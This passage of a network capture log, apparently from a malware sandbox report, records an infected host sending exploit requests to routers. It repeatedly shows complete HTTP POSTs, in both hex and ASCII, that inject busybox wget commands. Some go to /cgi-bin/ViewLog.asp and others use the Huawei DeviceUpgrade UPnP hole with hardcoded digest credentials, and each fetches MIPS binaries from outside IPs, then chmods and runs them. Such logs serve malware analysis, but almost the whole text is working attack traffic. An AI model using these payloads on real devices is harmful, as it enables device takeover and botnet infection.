                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.372271061 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                525192.168.2.154008485.199.50.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:17.224575043 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                526192.168.2.153373694.187.116.1828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:17.249970913 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:18.393263102 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                527192.168.2.155865631.129.98.1978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:17.254141092 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.491355896 CET475INHTTP/1.1 404
                                                Vary: Origin
                                                Vary: Access-Control-Request-Method
                                                Vary: Access-Control-Request-Headers
                                                Content-Disposition: inline;filename=f.txt
                                                Content-Type: application/json
                                                Transfer-Encoding: chunked
                                                Date: Thu, 23 Nov 2023 04:22:17 GMT
                                                Keep-Alive: timeout=60
                                                Connection: keep-alive
                                                Data Raw: 36 63 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 33 2d 31 31 2d 32 33 54 30 34 3a 32 32 3a 31 37 2e 33 36 37 2b 30 30 3a 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d 0d 0a
                                                Data Ascii: 6c{"timestamp":"2023-11-23T04:22:17.367+00:00","status":404,"error":"Not Found","path":"/cgi-bin/ViewLog.asp"}


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                528192.168.2.153439462.29.103.1018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:17.257754087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                529192.168.2.1551610156.224.12.6937215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:18.068837881 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:19.673275948 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:21.593139887 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:25.465068102 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:33.144831896 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:48.504421949 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                530192.168.2.1557200156.241.9.4037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:18.386151075 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
